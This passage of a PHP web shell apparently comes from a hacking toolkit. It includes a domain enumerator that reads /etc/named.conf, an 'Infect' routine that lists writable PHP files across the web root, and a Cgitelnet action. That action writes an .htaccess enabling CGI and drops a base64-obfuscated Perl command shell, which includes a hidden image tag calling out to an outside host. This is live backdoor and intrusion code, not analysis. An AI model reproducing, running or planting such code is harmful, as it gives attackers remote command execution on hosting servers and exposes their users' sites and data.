  1826. echo '</table>';
  1827. echo '</div>';
  1828. printFooter();
  1829. }
  1830. function actionDomain() {
  1831. printHeader();
  1832. echo '<h1>local domain viewer</h1><div class=content>';
  1833. $file = @implode(@file("/etc/named.conf"));
  1834. if (!$file) {
  1835. die("# can't ReaD -> [ /etc/named.conf ]");
  1836. }
  1837. preg_match_all("#named/(.*?).db#", $file, $r);
  1838. $domains = array_unique($r[1]);
  1839. //check();
  1840. //if(isset($_GET['ShowAll']))
  1841. {
  1842. echo "<table align=center border=1 width=59% cellpadding=5>
  1843. <tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
  1844. <tr><td>Domain</td><td>User</td></tr>";
  1845. foreach ($domains as $domain) {
  1846. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  1847. echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
  1848. }
  1849. echo "</table>";
  1850. }
  1851. echo '</div>';
  1852. printFooter();
  1853. }
  1854. function actionInfect() {
  1855. printHeader();
  1856. echo '<h1>Infect</h1><div class=content>';
  1857. if ($_POST['p1'] == 'infect') {
  1858. $target = $_SERVER['DOCUMENT_ROOT'];
  1859. function ListFiles($dir) {
  1860. if ($dh = opendir($dir)) {
  1861. $files = Array();
  1862. $inner_files = Array();
  1863. while ($file = readdir($dh)) {
  1864. if ($file != "." && $file != "..") {
  1865. if (is_dir($dir . "/" . $file)) {
  1866. $inner_files = ListFiles($dir . "/" . $file);
  1867. if (is_array($inner_files)) $files = array_merge($files, $inner_files);
  1868. } else {
  1869. array_push($files, $dir . "/" . $file);
  1870. }
  1871. }
  1872. }
  1873. closedir($dh);
  1874. return $files;
  1875. }
  1876. }
  1877. foreach (ListFiles($target) as $key => $file) {
  1878. $nFile = substr($file, -4, 4);
  1879. if ($nFile == ".php") {
  1880. if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
  1881. echo "$file<br>";
  1882. $i++;
  1883. }
  1884. }
  1885. }
  1886. echo "<font color=red size=14>$i</font>";
  1887. } else {
  1888. echo "<form method=post><input type=submit value=Infect name=infet></form>";
  1889. echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
  1890. }
  1891. printFooter();
  1892. }
  1893. function actionCgiShell() {
  1894. printHeader();
  1895. echo '<h1>Cgitelnet</h1><div class=content>';
  1896. mkdir('cgitelnet1', 0755);
  1897. chdir('cgitelnet1');
  1898. $kokdosya = ".htaccess";
  1899. $dosya_adi = "$kokdosya";
  1900. $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
  1901. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1902.  
  1903. AddType application/x-httpd-cgi .cin
  1904.  
  1905. AddHandler cgi-script .cin
  1906. AddHandler cgi-script .cin";
  1907. fwrite($dosya, $metin);
  1908. fclose($dosya);
  1909. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
  1910. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1911. LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
  1912. cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1913. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
  1914. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1915. LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
  1916. IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
  1917. cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1918. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
  1919. b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
  1920. cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
  1921. dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
  1922. cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
  1923. biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
  1924. ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
  1925. bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
  1926. cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
  1927. DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
  1928. dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
  1929. ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
  1930. CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
  1931. ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
  1932. aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
  1933. cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
  1934. IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
  1935. dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
  1936. CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
  1937. IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
  1938. bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
  1939. VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
  1940. ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
  1941. InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
  1942. ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
  1943. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1944. LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
  1945. ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
  1946. YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
  1947. bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
  1948. bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
  1949. aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
  1950. OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
  1951. R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1952. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
  1953. DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
  1954. Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
  1955. aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
  1956. RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
  1957. CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
  1958. U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
  1959. LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
  1960. YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
  1961. b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
  1962. ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
  1963. YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
  1964. CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
  1965. dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
  1966. ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
  1967. ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
  1968. CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
  1969. CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
  1970. Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
  1971. fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
  1972. KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
  1973. cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
  1974. bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
  1975. ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
  1976. CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
  1977. JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
  1978. ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
  1979. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1980. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
  1981. QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
  1982. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1983. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
  1984. Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
  1985. ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
  1986. dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
  1987. aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
  1988. d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
  1989. CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
  1990. aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
  1991. b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
  1992. cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
  1993. cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
  1994. dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
  1995. ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
  1996. PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
  1997. emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
  1998. NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
  1999. dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
  2000. Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
  2001. P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
  2002. b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
  2003. YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
  2004. aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
  2005. dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
  2006. PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
  2007. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2008. LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
  2009. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2010. LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
  2011. c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
  2012. ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
  2013. ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
  2014. TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
  2015. ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
  2016. RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2017. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
  2018. IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  2019. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2020. LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
  2021. DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
  2022. Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2023. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
  2024. cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2025. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  2026. dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
  2027. PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
  2028. PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
  2029. Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
  2030. Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
  2031. MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
  2032. IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
  2033. DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2034. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
  2035. TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2036. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
  2037. cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  2038. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2039. LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
  2040. biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
  2041. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2042. LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
  2043. KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
  2044. cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
  2045. JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2046. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
  2047. aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2048. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  2049. CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
  2050. ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
  2051. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2052. LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
  2053. IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2054. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
  2055. aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
  2056. CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
  2057. TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
  2058. CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2059. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
  2060. aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
  2061. Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
  2062. ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
  2063. cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
  2064. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2065. LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
  2066. c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
  2067. RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
  2068. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
  2069. IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
  2070. JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
  2071. c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
  2072. CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
  2073. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2074. LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
  2075. aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2076. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
  2077. aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  2078. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
